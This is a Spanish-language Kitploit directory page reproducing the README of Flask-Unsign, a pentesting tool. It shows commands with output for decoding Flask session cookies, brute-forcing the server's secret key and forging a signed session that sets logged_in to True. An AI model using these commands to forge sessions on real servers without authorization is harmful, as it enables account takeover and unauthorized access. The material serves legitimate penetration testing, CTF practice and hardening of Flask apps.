Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Flask-Unsign — Herramienta de línea de comandos para obtener, decodificar, forzar por fuerza bruta y fabricar cookies de sesión de una aplicación Flask adivinando claves secretas. | Kitploit
Herramientas/GitHubGitHub/paradoxis/flask-unsign
Ataques de ContraseñasExplotación de Aplicaciones WebCTFPruebas de Penetración
GitHubparadoxis/flask-unsign

Flask-Unsign

Herramienta de línea de comandos para obtener, decodificar, forzar por fuerza bruta y fabricar cookies de sesión de una aplicación Flask adivinando claves secretas.

Ver Repositorio
66048hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Flask Unsign

Build Status PyPI version codecov

Herramienta de línea de comandos para obtener, decodificar, descifrar por fuerza bruta y manipular cookies de sesión de una aplicación Flask adivinando claves secretas. Para el componente independiente de lista de palabras, visita el repositorio flask-unsign-wordlist.

Requisitos

  • Python 3.6+

Instalación

Para instalar la aplicación, simplemente usa pip:

root@kitploit:~
$ pip3 install flask-unsign[wordlist]

Si solo quieres instalar el código principal, omite el sufijo [wordlist]:

root@kitploit:~
$ pip3 install flask-unsign

Para instalar la herramienta con fines de desarrollo, ejecuta el siguiente comando (después de descargar una copia):

root@kitploit:~
$ pip3 install -e .[test]

Uso

Para obtener una visión general de todas las opciones posibles, simplemente llama a flask-unsign sin ningún argumento, así:

root@kitploit:~
$ flask-unsign

Obtención y decodificación de cookies de sesión

Debido a que las cookies de Flask están firmadas y no cifradas, es posible decodificar localmente los datos de la sesión. Para ello, puedes usar el argumento --decode.

Las cookies de sesión se pueden obtener inspeccionando tus solicitudes HTTP mediante un proxy como Burp Proxy, usando el inspector de red de tu navegador o una extensión del navegador para ver/cambiar tus cookies. Por defecto, Flask usa el nombre de sesión "session".

root@kitploit:~
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

También puedes usar la funcionalidad automática de captura de sesión de Flask-Unsign pasando el argumento --server, en lugar del argumento --cookie. Ten en cuenta, sin embargo, que no todas las páginas web pueden devolver una sesión, así que asegúrate de pasar una URL que sí lo haga.

root@kitploit:~
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

Quitar la firma (Fuerza bruta de claves secretas)

Después de obtener una cookie de sesión de muestra, podrás intentar descifrar por fuerza bruta la clave secreta del servidor. Si tienes suerte, podría estar configurada con algo fácil de adivinar, o si se ha encontrado en línea, podría estar en una de tus listas de palabras. Para ello, puedes usar el argumento --unsign.

root@kitploit:~
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

Firmado (Manipulación de la sesión)

Una vez que hayas obtenido la clave secreta del servidor, podrás crear tus propios datos de sesión personalizados. Para ello, puedes usar el argumento --sign.

root@kitploit:~
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

Solución de problemas

  • La instalación del programa produce un error
    • Puede que estés usando el binario pip incorrecto; prueba a usar el siguiente comando: python3.6 -m pip install flask-unsign
  • ¡He encontrado una clave secreta, pero mis sesiones manipuladas no funcionan!
    • Es posible que el servidor objetivo use una versión anterior de itsdangerous. Debido a un problema con las sesiones temporizadas, el algoritmo de generación de marcas de tiempo fue cambiado. Para generar una firma más antigua, prueba a usar la opción --legacy.
  • Mi lista de palabras no funciona
    • Las listas de palabras deben estar delimitadas por nuevas líneas y contener cadenas de Python (es decir, debes encapsularlas entre comillas), esto se hace para que las cadenas binarias puedan almacenarse fácilmente en un formato de nueva línea. Si no quieres esto, puedes desactivar esta función pasando el argumento --no-literal-eval.

Cómo funciona

Si te preguntas cómo funciona exactamente esto, consulta mi entrada de blog que lo explica con gran detalle, incluyendo una guía sobre cómo proteger tu propio servidor de este ataque.

Licencia

Licencia MIT

Copyright (c) 2021 Luke Paris (Paradoxis)

Se otorga por la presente el permiso, libre de cargos, a cualquier persona que obtenga una copia de este software y de los archivos de documentación asociados (el "Software"), para utilizar el Software sin restricción, incluyendo sin limitación los derechos a usar, copiar, modificar, fusionar, publicar, distribuir, sublicenciar y/o vender copias del Software, y para permitir a las personas a quienes se les proporciona el Software hacerlo, sujeto a las siguientes condiciones:

El aviso de copyright anterior y este aviso de permiso deberán incluirse en todas las copias o partes sustanciales del Software.

EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA, INCLUYENDO PERO NO LIMITADO A LAS GARANTÍAS DE COMERCIABILIDAD, IDONEIDAD PARA UN FIN PARTICULAR Y NO INFRACCIÓN. EN NINGÚN CASO LOS AUTORES O TITULARES DE LOS DERECHOS DE AUTOR SERÁN RESPONSABLES DE CUALQUIER RECLAMO, DAÑO U OTRA RESPONSABILIDAD, YA SEA EN UNA ACCIÓN DE CONTRATO, AGRAVIO O DE OTRA MANERA, DERIVADA DE, O EN RELACIÓN CON EL SOFTWARE O EL USO U OTRAS OPERACIONES CON EL SOFTWARE.

Descargar herramienta